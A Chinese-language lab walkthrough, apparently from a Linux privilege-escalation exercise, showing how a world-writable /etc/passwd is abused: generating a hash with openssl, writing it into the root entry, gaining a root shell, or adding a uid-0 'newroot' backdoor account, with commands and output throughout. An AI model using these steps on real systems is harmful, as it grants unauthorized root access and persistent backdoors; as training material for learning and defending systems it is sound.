/etc/passwd
文件包含用户账户信息。它是可读的,但通常只有 root 用户才能写入。历史上,/etc/passwd
文件包含用户密码哈希值,一些 Linux 版本仍允许在其中存储密码哈希值。
请注意,/etc/passwd
文件是可写的:
ls -l /etc/passwd
运行结果:
user@debian:~$ ls -l /etc/passwd
-rw-r--rw- 1 root root 1009 Aug 25 2019 /etc/passwd
使用您选择的密码生成新的密码哈希值:
openssl passwd newpasswordhere
运行结果:
user@debian:~$ openssl passwd 654321
XFx.InbSUxWs.
user@debian:~$
编辑 /etc/passwd
文件,并将生成的密码哈希值放置在 root 用户行的第一个和第二个冒号(:
)之间(替换“x
”)。
user@debian:~$ vim /etc/passwd
user@debian:~$ cat /etc/passwd
root:XFx.InbSUxWs.:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false
user@debian:~$
切换到 root 用户,使用新密码:
su root
运行结果:
user@debian:~$ su root
Password:
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user#
或者,复制 root 用户的行并将其附加到文件底部,将第一个“root”单词更改为“newroot”,并将生成的密码哈希值放置在第一个和第二个冒号之间(替换“x
”)。
现在,使用新密码切换到 newroot 用户:
su newroot